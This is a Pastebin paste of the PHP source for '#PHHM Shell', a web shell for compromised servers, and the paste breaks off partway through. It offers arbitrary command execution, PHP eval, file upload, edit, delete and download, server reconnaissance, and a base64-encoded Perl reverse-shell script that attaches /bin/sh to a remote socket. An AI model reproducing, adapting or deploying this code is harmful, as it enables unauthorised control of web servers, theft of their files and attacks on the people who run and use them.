API tools faq
paste
blackcyberrootshell

[ + ] #PHHM shell [ + ]

blackcyberrootshell
Feb 27th, 2015
304
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 61.20 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*******************************************************************
  3.  *******************************************************************
  4.  ***                         #PHHM Shell                         ***
  5.  ***                        Coded by nhax                        ***
  6.  ***                     Fuck self-claimer !                     ***
  7.  ***                          Cai Kacak                          ***
  8.  ***                        <3 <3 <3 <3 <3                       ***
  9.  *******************************************************************
  10.  *******************************************************************/
  11.  
  12. //error_reporting(0);
  13.  
  14. if(isset($_GET['cwd'])){ $cwd = $_GET['cwd']; chdir($cwd); } else { $cwd = getcwd().DIRECTORY_SEPARATOR; chdir($cwd); }
  15. if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
  16. if(strtolower(substr(php_uname(),0,3)) == "win") $win = TRUE; else $win = FALSE;
  17. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
  18.  
  19. global $cwd;
  20.  
  21. function perintah($perintah) {
  22.     $res = '';
  23.     if (!empty($perintah)) {
  24.     if(function_exists('exec')) { @exec($perintah,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($perintah); }
  25.     elseif(function_exists('system')) { @ob_start(); @system($perintah); $res = @ob_get_contents(); @ob_end_clean(); }
  26.     elseif(function_exists('passthru')) { @ob_start(); @passthru($perintah); $res = @ob_get_contents(); @ob_end_clean(); }
  27.     elseif(@is_resource($f = @popen($perintah,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }
  28.     else { $res = "Perintah() Disabled! :("; }
  29.     }
  30.     return $res;
  31. }
  32.  
  33. function ukuran($file){
  34.     if($size = filesize($file)){
  35.         if($size <= 1024){
  36.             return "$size b";
  37.         } else {
  38.             if($size <= 1024*1024){
  39.                 $size = round($size / 1024,2);
  40.                 return "$size kb";
  41.             } elseif($size <= 1024*1024*1024){
  42.                 $size = round($size / 1024 / 1024,2);
  43.                 return "$size mb";
  44.             } elseif($size <= 1024*1024*1024*1024){
  45.                 $size = round($size / 1024 / 1024 / 1024,2);
  46.                 return "$size gb";
  47.             }
  48.         }
  49.     }
  50.     else return "0 b";
  51. }
  52.  
  53. function showstat($stat){
  54.     if ($stat=="on") {
  55.         return "<b><font style='color: lime'>ON</font></b>";
  56.     } else {
  57.         return "<b><font style='color: red'>OFF</font></b>";
  58.     }
  59. }
  60.  
  61. function testperl() { if (perintah('perl -h')) { return showstat("on"); } else { return showstat("off"); } }
  62. function testfetch() { if(perintah('fetch --help')) { return showstat("on"); } else { return showstat("off"); } }
  63. function testwget() { if (perintah('wget --help')) { return showstat("on"); } else { return showstat("off"); } }
  64. function testoracle() { if (function_exists('ocilogon')) { return showstat("on"); } else { return showstat("off"); } }
  65. function testpostgresql() { if (function_exists('pg_connect')) { return showstat("on"); } else { return showstat("off"); } }
  66. function testmssql() { if (function_exists('mssql_connect')) { return showstat("on"); } else { return showstat("off"); } }
  67. function testcurl() { if (function_exists('curl_version')) { return showstat("on"); } else { return showstat("off"); } }
  68. function testmysql() { if (function_exists('mysql_connect')) { return showstat("on"); } else { return showstat("off"); } }
  69. function testpython() { if(perintah("python -h")){ return showstat("on"); } else { return showstat("off"); } }
  70. function testgcc() { if(perintah("gcc -h")){ return showstat("on"); } else { return showstat("off"); } }
  71.  
  72. function b64wrt($file, $benda){
  73.     if($fo = fopen($file, "w")){
  74.         return (fwrite($fo, base64_decode($benda)) ? 1 : 0);
  75.     } else {
  76.         echo "Failed to open $file for writing <br />";
  77.     }
  78. }
  79.  
  80. if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on"){
  81.     $quot = "<font style='color:red'>ON</font>";
  82. } else {
  83.     $quot = "<font style='color: lime'>OFF</font>";
  84. }
  85.  
  86. if(isset($_GET['action']) && $_GET['action'] == "dl" && $_GET['file'] != ""){
  87.     $file = $_GET['file'];
  88.     $filez = file_get_contents($file);
  89.     header("Content-type: application/octet-stream");
  90.     header("Content-length: ".strlen($filez));
  91.     header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  92.     echo $filez;
  93.     exit;
  94. }
  95.  
  96. elseif(isset($_GET['action']) && $_GET['action'] == "dlgzip" && $_GET['file'] != ""){
  97.     $file = $_GET['file'];
  98.     $filez = gzencode(file_get_contents($file));
  99.     header("Content-Type: application/x-gzip\n");
  100.     header("Content-length: ".strlen($filez));
  101.     header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  102.     echo $filez;
  103.     exit;
  104. }
  105.  
  106. $bytes = disk_free_space(".");
  107. $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  108. $base = 1024;
  109. $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
  110. $totalspace_bytes = disk_total_space(".");
  111. $totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  112. $totalspace_bases = 1024;
  113. $totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
  114.  
  115. $totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
  116. $freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
  117.  
  118. if(!$win){
  119.     if(!$user = rapih(perintah("whoami"))) $user = "";
  120.     if(!$id = rapih(perintah("id"))) $id = "";
  121.     $prompt = $user." \$ ";
  122. } else {
  123.     $user = get_current_user();
  124.     $id = $user;
  125.     $prompt = $user." &raquo;";
  126.     $v = explode("\\", $_GET['cwd']);
  127.     $v = $v[0];
  128.     $letters = "";
  129.  
  130.     foreach (range("A","Z") as $letter){
  131.         if (is_dir($letter.":\\")){
  132.             $letters.= " <a href=\"?cwd=".$letter.":\\\">[ ";
  133.             if ($letter.":" != $v){
  134.                 $letters .= $letter;
  135.             } else {
  136.                 $letters.= $letter;
  137.             }
  138.             $letters.= " ]</a> ";
  139.         }
  140.     }
  141. }
  142.  
  143. $cwds = explode(DIRECTORY_SEPARATOR,$cwd);
  144. $cwdurl = "";
  145.  
  146. for($i = 0 ; $i < sizeof($cwds)-1 ; $i++){
  147.     $pathz= "";
  148.     for($j= 0 ; $j <= $i ; $j++){
  149.         $pathz .= $cwds[$j].DIRECTORY_SEPARATOR;
  150.     }
  151.     $cwdurl .= "<a href=\"?cwd=".$pathz."\">".$cwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  152. }
  153.  
  154. if(isset($_POST['rename'])){
  155.     $old = $_POST['oldname'];
  156.     $new = $_POST['newname'];
  157.     rename($cwd.$old,$cwd.$new);
  158.     $file = $cwd.$new;
  159. }
  160.  
  161. if(isset($_POST['chmod'])){
  162.     $name = $_POST['name'];
  163.     $value = $_POST['newvalue'];
  164.     if (strlen($value)==3){
  165.         $value = 0 . "" . $value;
  166.     }
  167.     chmod($cwd.$name,octdec($value));
  168.     $file = $cwd.$name;
  169. }
  170.  
  171. if(isset($_POST['chmod_folder'])){
  172.     $name = $_POST['name'];
  173.     $value = $_POST['newvalue'];
  174.     if (strlen($value)==3){
  175.         $value = 0 . "" . $value;
  176.     }
  177.     chmod($cwd.$name,octdec($value));
  178.     $file = $cwd.$name;
  179. }
  180.  
  181. function clearspace($text){
  182.     return str_replace(" ","_",$text);
  183. }
  184. function rapih($text){
  185.     return trim(str_replace("<br />","",$text));
  186. }
  187. function magicboom($text){
  188.     if (!get_magic_quotes_gpc()) {
  189.         return $text;
  190.     }
  191.     return stripslashes($text);
  192. }
  193.  
  194. function filemanager(){
  195.  
  196.     global $cwd, $cwdurl, $letters, $win, $posix, $user;
  197.  
  198.     $files = array();
  199.     $folders = array();
  200.  
  201.     if($op = @opendir(".")){
  202.         while($re = readdir($op)){
  203.             if(is_file($re)){
  204.                 $files[] = $re;
  205.             } elseif(is_dir($re)){
  206.                 $folders[] = $re;
  207.             }
  208.         }
  209.         @closedir($op);
  210.     } else {
  211.         die("Failed to opendir()\n</body>");
  212.         @closedir($op);
  213.     }
  214.  
  215.     sort($files);
  216.     sort($folders);
  217.  
  218.     $path = explode(DIRECTORY_SEPARATOR, $cwd);
  219.     $tree = sizeof($path);
  220.     $parent = "";
  221.     $buff = "";
  222.  
  223.     if($tree > 2){
  224.         for($i=0;$i<$tree-2;$i++){
  225.             $parent .= $path[$i].DIRECTORY_SEPARATOR;
  226.         }
  227.     } else {
  228.         $parent = $cwd;
  229.     }
  230.  
  231.     $buff .= "<span class=\"fileman\">\n".
  232.  
  233.              "<table width=\"100%\">\n".
  234.  
  235.              "<tr>\n".
  236.              "  <th style=\"width: 25%;\">name</th>\n".
  237.              "  <th style=\"width: 5%;\">size</th>\n".
  238.              "  <th style=\"width: 10%;\">owner:group</th>\n".
  239.              "  <th style=\"width: 10%;\">perms</th>\n".
  240.              "  <th style=\"width: 10%;\">modified</th>\n".
  241.              "  <th style=\"width: 16%;\">actions</th>\n".
  242.              "</tr>\n";
  243.  
  244.     foreach($folders as $folder){
  245.    
  246.         if($folder == "."){
  247.  
  248.             if(!$win && $posix){
  249.                 $name = posix_getpwuid(fileowner($folder));
  250.                 $group = posix_getgrgid(filegroup($folder));
  251.                 $owner = $name['name']." : ".$group['name'];
  252.             } else {
  253.                 $owner = $user;
  254.             }
  255.  
  256.             $buff .= "<tr>\n".
  257.  
  258.                      "  <td style=\"padding-left: 1em;\"><a href=\"?cwd=".$cwd."\" title=\"CHDIR to Self\">".$folder."</a> &minus; ".(is_writable($cwd) ? "<span style=\"color: #0f0;\">WRITABLE</span>" : "<span style=\"color: #f00;\">NOT WRITABLE</span>")."</td>\n".
  259.                      "  <td style=\"text-align: center;\">DIR</td>\n".
  260.                      "  <td style=\"text-align: center;\">".$owner."</td>\n".
  261.                      "  <td style=\"text-align: center;\">".get_perms($folder)."</td>\n".
  262.                      "  <td style=\"text-align: center;\">".@date("d-M-Y H:i",filemtime($cwd))."</td>\n".
  263.  
  264.                      "  <td style=\"text-align: center;\">\n".
  265.                      "      <span id=\"titik1\">\n".
  266.                      "          <a href=\"?cwd=".$cwd."&amp;action=edit&amp;file=".$cwd."newfile.php\" title=\"new file\">new file</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>\n".
  267.                      "          <form action=\"?\" method=\"get\" id=\"titik1_form\" style=\"display:none;margin:0;padding:0;\"> \n".
  268.                      "              <input type=\"hidden\" name=\"cwd\" value=\"".$cwd."\">\n".
  269.                      "              <input type=\"hidden\" name=\"action\" value=\"mkdir\">\n".
  270.                      "              New folder: <input type=\"text\" name=\"folder\" placeholder=\"Folder Name\" class=\"kotak\">\n".
  271.                      "              <input type=\"submit\" value=\"Go\" class=\"kotak\">\n".
  272.                      "          </form>\n".
  273.                      "      </span>\n".
  274.                      "  </td>\n".
  275.  
  276.                      "</tr>";
  277.            
  278.         } elseif($folder == ".."){
  279.  
  280.             if(!$win && $posix){
  281.                 $name = posix_getpwuid(fileowner($folder));
  282.                 $group = posix_getgrgid(filegroup($folder));
  283.                 $owner = $name['name']." : ".$group['name'];
  284.             } else {
  285.                 $owner = $user;
  286.             }
  287.  
  288.             $buff .= "<tr>\n".
  289.                      "  <td style=\"padding-left: 1em;\"><a href=\"?cwd=".$parent."\" title=\"CHDIR to ".$parent."\">".$folder."</a> &minus; ".(is_writable($parent) ? "<span style=\"color: #0f0;\">WRITABLE</span>" : "<span style=\"color: #f00;\">NOT WRITABLE</span>")."</td>\n".
  290.                      "  <td style=\"text-align: center;\">DIR</td>\n".
  291.                      "  <td style=\"text-align: center;\">".$owner."</td>\n".
  292.                      "  <td style=\"text-align: center;\">".get_perms($folder)."</td>\n".
  293.                      "  <td style=\"text-align: center;\">".@date("d-M-Y H:i",filemtime($folder))."</td>\n".
  294.                      "  <td style=\"text-align: center;\">-</td>\n".
  295.                      "</tr>";
  296.            
  297.         } else {
  298.  
  299.             if(!$win && $posix){
  300.                 $name = posix_getpwuid(fileowner($folder));
  301.                 $group = posix_getgrgid(filegroup($folder));
  302.                 $owner = $name['name']." : ".$group['name'];
  303.             } else {
  304.                 $owner = $user;
  305.             }
  306.  
  307.             $buff .= "<tr>\n".
  308.  
  309.                      "  <td style=\"padding-left: 1em;\">\n".
  310.                      "      <a id=\"".clearspace($folder)."_link\" href=\"?cwd=".$cwd.$folder.DIRECTORY_SEPARATOR."\" title=\"CHDIR to ".$cwd.$folder.DIRECTORY_SEPARATOR."\">[ ".$folder." ]</a> &minus; ".(is_writable($cwd.$folder) ? "<span style=\"color: #0f0;\">WRITABLE</span>" : "<span style=\"color: #f00;\">NOT WRITABLE</span>")."\n".
  311.                      "      <form action=\"?cwd=".$cwd."\" method=\"post\" id=\"".clearspace($folder)."_form\" style=\"display:none; padding:0;margin:0;\">\n".
  312.                      "          <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />\n".
  313.                      "          <input class=\"kotak\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />\n".
  314.                      "          <input class=\"kotak\" type=\"submit\" name=\"rename\" value=\"rename\" />\n".
  315.                      "          <input class=\"kotak\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />\n".
  316.                      "      </form>\n".
  317.                      "  </td>\n".
  318.  
  319.                      "  <td style=\"text-align: center;\">DIR</td>\n".
  320.                      "  <td style=\"text-align: center;\">".$owner."</td>\n".
  321.                      "  <td style=\"text-align: center;\">\n".
  322.                      "      <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($cwd.$folder)."</a>\n".
  323.                      "      <form action=\"?cwd=".$cwd."\" method=\"post\" id=\"".clearspace($folder)."_form3\" style=\"display:none; padding:0;margin:0;\"> \n".
  324.                      "          <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> \n".
  325.                      "          <input class=\"kotak\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($cwd.$folder)), -4)."\" /> \n".
  326.                      "          <input class=\"kotak\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />\n".
  327.                      "          <input class=\"kotak\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" />\n".
  328.                      "      </form>\n".
  329.                      "  </td>\n".
  330.                      
  331.                      "  <td style=\"text-align: center;\">".@date("d-M-Y H:i",filemtime($folder))."</td>\n".
  332.                      "  <td style=\"text-align: center;\">\n".
  333.                      "      <a href=\"?cwd=".$cwd."&amp;action=rmdir&amp;folder=".$cwd.$folder."\">delete</a> | <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>\n".
  334.                      "  </td>\n".
  335.                      
  336.                      "</tr>";
  337.         }
  338.     }
  339.    
  340.     foreach($files as $file){
  341.  
  342.         if(!$win && $posix){
  343.             $name = posix_getpwuid(fileowner($file));
  344.             $group = posix_getgrgid(filegroup($file));
  345.             $owner = $name['name']." : ".$group['name'];
  346.         } else {
  347.             $owner = $user;
  348.         }
  349.  
  350.         $buff .= "<tr>\n".
  351.  
  352.                  "  <td style=\"padding-left: 1em;\">\n".
  353.                  "      <a id=\"".clearspace($file)."_link\" href=\"?cwd=".$cwd."&amp;action=view&file=".str_replace(" ", "+", $cwd.$file)."\" title=\"View file ".$file."\">".$file."</a> &minus; ".(is_writable($cwd.$file) ? "<span style=\"color: #0f0;\">WRITABLE</span>" : "<span style=\"color: #f00;\">NOT WRITABLE</span>")."\n".
  354.                  "      <form action=\"?cwd=".$cwd."\" method=\"post\" id=\"".clearspace($file)."_form\" style=\"display:none; padding:0;margin:0;\">\n".
  355.                  "          <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />\n".
  356.                  "          <input class=\"kotak\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />\n".
  357.                  "          <input class=\"kotak\" type=\"submit\" name=\"rename\" value=\"rename\" />\n".
  358.                  "          <input class=\"kotak\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />\n".
  359.                  "      </form>\n".
  360.                  "  </td>\n".
  361.  
  362.                  "  <td style=\"text-align: center;\">".ukuran($file)."</td>\n".
  363.                  "  <td style=\"text-align: center;\">".$owner."</td>\n".
  364.  
  365.                  "  <td style=\"text-align: center;\">\n".
  366.                  "      <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form3');\">".get_perms($cwd.$file)."</a>\n".
  367.                  "      <form action=\"?cwd=".$cwd."\" method=\"post\" id=\"".clearspace($file)."_form3\" style=\"display:none; padding:0;margin:0;\"> \n".
  368.                  "          <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> \n".
  369.                  "          <input class=\"kotak\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($cwd.$file)), -4)."\" /> \n".
  370.                  "          <input class=\"kotak\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> \n".
  371.                  "          <input class=\"kotak\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form3');\" />\n".
  372.                  "      </form>\n".
  373.                  "  </td>\n".
  374.  
  375.                  "  <td style=\"text-align: center;\">".@date("d-M-Y H:i",filemtime($file))."</td>\n".
  376.  
  377.                  "  <td style=\"text-align: center;\">\n".
  378.                  "      <a href=\"?cwd=".$cwd."&amp;action=edit&amp;file=".str_replace(" ", "+", $cwd.$file)."\" title=\"Edit ".$cwd.$file."\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?cwd=".$cwd."&amp;action=del&amp;file=".$cwd.$file."\">delete</a> | <a href=\"?cwd=".$cwd."&amp;action=dl&amp;file=".$cwd.$file."\">download</a> (<a href=\"?cwd=".$cwd."&amp;action=dlgzip&amp;file=".$cwd.$file."\">gz</a>)\n".
  379.                  "  </td>\n".
  380.  
  381.                  "</tr>";
  382.     }
  383.    
  384.     $buff .= "</table>\n</span>";
  385.     echo $buff;
  386. }
  387.  
  388. function get_perms($file){
  389.     if($mode=fileperms($file)){
  390.         $perms = "";
  391.         $perms .= ($mode & 00400) ? 'r' : '-';
  392.         $perms .= ($mode & 00200) ? 'w' : '-';
  393.         $perms .= ($mode & 00100) ? 'x' : '-';
  394.         $perms .= ($mode & 00040) ? 'r' : '-';
  395.         $perms .= ($mode & 00020) ? 'w' : '-';
  396.         $perms .= ($mode & 00010) ? 'x' : '-';
  397.         $perms .= ($mode & 00004) ? 'r' : '-';
  398.         $perms .= ($mode & 00002) ? 'w' : '-';
  399.         $perms .= ($mode & 00001) ? 'x' : '-';
  400.         return $perms;
  401.     }
  402.     else return "??????????";
  403. }
  404. // folder2 //
  405. /*if(is_writable($cwd)){
  406. if(!is_dir($cwd.".PHHM_files")){ mkdir($cwd.".PHHM_files", 0777); }
  407. if(!is_dir($cwd.".PHHM_files/sym")){ mkdir($cwd.".PHHM_files/sym", 0777); }
  408. if(!is_dir($cwd.".PHHM_files/sym/perl")){ mkdir($cwd.".PHHM_files/sym/perl", 0777); }
  409. if(!is_dir($cwd.".PHHM_files/sym/php")){ mkdir($cwd.".PHHM_files/sym/php", 0777); }
  410. if(!is_dir($cwd.".PHHM_files/bc")){ mkdir($cwd.".PHHM_files/bc", 0777); }
  411. }*/
  412. ?>
  413. <!--
  414. --------------------------------------------------------------------------
  415. - Official release
  416. - Coded by Cai@nhax based on b374k NEC v3
  417. - Gua hanya reParse & fix & remove serba sedikit benda yang ada dalam ni
  418. - 100% Credit to REAL coder
  419. - Follow @0xCai
  420. - "Majulah Hejes untuk negara"
  421. -
  422. - #PHHM #HEJES #GILA #HEMPAS
  423. ---------------------------------------------------------------------------
  424. -->
  425. <html>
  426.  
  427.     <head>
  428.         <title>#PHHM Shell</title>
  429.         <script type="text/javascript">
  430.         function tukar(lama,baru){
  431.             document.getElementById(lama).style.display = 'none';
  432.             document.getElementById(baru).style.display = 'block';
  433.         }
  434.         </script>
  435.         <link rel="icon" type="image/png" href="http://www.iconsdb.com/icons/preview/black/x-mark-4-xl.png" />
  436.         <style>
  437.             body { background: #000; color: #fff; font-family: Tahoma; font-size: 13px; padding-top: 1em; }
  438.             body a { color: #f00; text-decoration: none; }
  439.             * a:hover { text-decoration: underline; }
  440.             footer { border-top: 0; position: fixed; left:0px; right:0px; bottom:0px; text-align: Right; font-family: Courier New; color: gray; }
  441.             footer:hover { color: #fff; }
  442.             fieldset { border-color: #fff; border-style: solid; border-radius: 3px; background: #111; }
  443.             fieldset:hover { background: #101010; }
  444.             #menu a { border: 1px solid #f00; color: #f00; padding: 5px; padding-left: 3em; padding-right: 3em; text-decoration: none; }
  445.             #menu a:hover { border: 1px solid #fff; border-radius: 1px; color: #fff; }
  446.             #menu a:active { border: 1px solid #0f0; color: #0f0; }
  447.             .fileman { padding: 2px; }
  448.             .fileman * { color: #f00; }
  449.             .fileman table { border: 0; }
  450.             .fileman tr:hover { background: #744F4F; }
  451.             .fileman th { color: #fff; background: #111; }
  452.             .fileman td,th { border: 1px solid #f00; font-family: Arial; font-size: 13px; padding: 2px; border-radius: 2px; }
  453.             .fileman a { color: #2BA8EC; text-decoration: none; }
  454.             .fileman a:hover,active { color: gray; }
  455.             .kotak { border: 1px solid #f00; border-radius: 1px; padding: 1px; padding-left: 3px; padding-right: 3px; background: #111; font-family: Tahoma; color: #fff; }
  456.             .kotak:active { box-shadow: 0px 0px 5px #f00; }
  457.             h1.cantik { border: 1px solid #fff; border-radius: 3px; text-align: Center; font-family: Calibri; }
  458.             #viewfile { background: #111; border: 1px solid #fff; border-radius: 3px; padding: 5px; }
  459.         </style>
  460.     </head>
  461.  
  462.     <body>
  463.  
  464.         <div id="menu" align="center">
  465.             <a href="?" title="Main">Main</a>
  466.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=info" title="Info">Info</a>
  467.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=shell" title="Shell">Shell</a>
  468.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=upload" title="Uploader">Upload</a>
  469.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=eval" title="Eval PHP Codes">Eval PHP</a>
  470.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=phpinfo" title="PHP Info">PhpInfo</a>
  471.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=tools" title="Tools">Tools</a>
  472.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=jumping" title="Jumping">Jumping</a>
  473.             <a href="?cwd=<?php echo $cwd; ?>&amp;action=sym_menu" title="Symlink: menu">Symlink</a>
  474.             <br /><br />
  475.         </div>
  476.  
  477.         <?php
  478.         if($win){
  479.             echo $cwdurl . " &minus; ". $letters;
  480.         } else {
  481.             echo $cwdurl;
  482.         }
  483.        
  484.         echo "&minus; <a href=\"?cwd=".$_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR."\" title=\"Document Root\">[ Doc. Root ]</a><br /><hr color=\"red\"><br />";
  485.  
  486.         if(isset($_GET['action']) && $_GET['action'] == "info"){
  487.             echo "<form action=\"?cwd=".$cwd."&amp;action=info\" method=\"post\">\n".
  488.            
  489.                  "<h1 class=\"cantik\">Server Info</h1>\n".
  490.                  
  491.                  $_SERVER['SERVER_SOFTWARE'] . "<br />\n".
  492.                  php_uname("a") . "<br />\n";
  493.                  
  494.             if($posix) echo rapih(perintah("id")) . "<br />\n";
  495.             elseif($win) echo rapih(perintah("whoami")) . "<br />\n";
  496.                  
  497.             echo "Your IP: " . $_SERVER['REMOTE_ADDR'] . " | Server IP: " . $_SERVER['SERVER_ADDR'] . "<br />\n".
  498.                  "Free " . $freespace_show . " of " . $totalspace_show . "<br />\n".
  499.                  "Perl: ".testperl()." | Fetch: ".testfetch()." | WGet: ".testwget()." | cURL: ".testcurl()." | Oracle: ".testoracle()." | PostgreSQL: ".testpostgresql()." | MsSQL: ".testmssql()." | MySQL: ".testmysql()." | Python: ".testpython()." | GCC: ".testgcc()."<br />\n";
  500.                  
  501.             if($safemode){
  502.                 echo "Safemode is <span style=\"color: red\">ON</span><br />\n";
  503.             } else {
  504.                 echo "Safemode is <span style=\"color: lime\">OFF</span><br />\n";
  505.             }
  506.                
  507.             echo "Magic Quotes is ".$quot."<br />";
  508.            
  509.             if(ini_get("disable_functions") == ""){
  510.                 echo $dsbf = "<span style=\"color: #0f0;\">NONE</span>";
  511.             } else {
  512.                 echo $dsbf = "<span style=\"color: #f00;\">".ini_get("disable_functions")."</span>";
  513.             }
  514.            
  515.             echo "</form>";
  516.         }
  517.  
  518.         elseif(isset($_GET['action']) && $_GET['action'] == "shell"){
  519.        
  520.             echo "<form action=\"?cwd=$cwd&amp;action=shell\" method=\"post\">\n".
  521.                  "<h1 class=\"cantik\">CMD/Shell</h1>\n".
  522.                  "<textarea cols=\"100\" rows=\"25\" name=\"out\" class=\"kotak\" readonly>\n";
  523.                  
  524.             if(isset($_POST['submit'])){
  525.                 echo htmlspecialchars(perintah($_POST['cmd']));
  526.             }
  527.            
  528.             echo "</textarea> <br />\n".
  529.                  "<input type=\"text\" name=\"cmd\" style=\"width: 50%;\" placeholder=\"cmd\" class=\"kotak\">\n".
  530.                  "<input type=\"submit\" name=\"submit\" class=\"kotak\">\n".
  531.                  "</form>\n";
  532.        
  533.         }
  534.  
  535.         elseif(isset($_GET['action']) && $_GET['action'] == "upload"){
  536.        
  537.         echo "<form action=\"?cwd=$cwd&amp;action=upload\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\">\n".
  538.              "  <h1 class=\"cantik\">File Uploader</h1>\n".
  539.              "  File: <input type=\"file\" name=\"file\" class=\"kotak\" size=\"50\"> <br />\n".
  540.              "  Path: <input type=\"text\" name=\"path\" value=\"$cwd\" style=\"width: 25%;\" class=\"kotak\"> <br />\n".
  541.              "  <input type=\"submit\" name=\"submit\" value=\"upload file\" class=\"kotak\"> <br />\n".
  542.              "</form>\n";
  543.        
  544.         if(isset($_POST['submit'])){
  545.             if(is_uploaded_file($_FILES['file']['tmp_name'])){
  546.                 $pindah = magicboom($_POST['path']).$_FILES['file']['name'];
  547.                 if ($stat = move_uploaded_file($_FILES['file']['tmp_name'], $pindah)){
  548.                     $msg = "file uploaded to <a href=\"?cwd=".$cwd."&action=view&file=".$pindah."\">".$pindah."</a>";
  549.                 } else {
  550.                     $msg = "failed to upload ".$_FILES['file']['name'];
  551.                 }
  552.             } else {
  553.                 $msg = "failed to upload ".$_FILES['file']['name'];
  554.             }
  555.             echo $msg;
  556.             }
  557.            
  558.         }
  559.  
  560.         elseif(isset($_GET['action']) && $_GET['action'] == "phpinfo"){
  561.             @ob_start();
  562.             @eval("phpinfo();");
  563.             $buff = @ob_get_contents();
  564.             @ob_end_clean();
  565.             $awal = strpos($buff,"<body>")+6;
  566.             $akhir = strpos($buff,"</body>");
  567.             echo "<h1 class=\"cantik\">PHP Info</h1>\n".
  568.                  "<div class=\"fileman\">".substr($buff,$awal,$akhir-$awal)."</div>";
  569.         }
  570.  
  571.         elseif(isset($_GET['action']) && $_GET['action'] == "eval"){
  572.        
  573.             echo "<form action=\"?cwd=$cwd&amp;action=eval\" method=\"post\">\n".
  574.                  "<h1 class=\"cantik\">Eval PHP codes</h1>\n".
  575.                  "<textarea cols=\"100\" rows=\"25\" name=\"phpcode\" class=\"kotak\">\n";
  576.            
  577.             if(isset($_POST['submit'])){ echo htmlspecialchars(eval(magicboom($_POST['phpcode']))); }
  578.  
  579.             echo "</textarea>\n".
  580.                  "<input type=\"submit\" name=\"submit\" value=\"execute php\" class=\"kotak\">\n".
  581.                  "</form>\n";
  582.        
  583.         }
  584.  
  585.         elseif(isset($_GET['action']) && $_GET['action'] == "tools"){
  586.        
  587.             if(!$win && $posix){
  588.            
  589.                 $bc = array(
  590.                 "pl" => "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7",
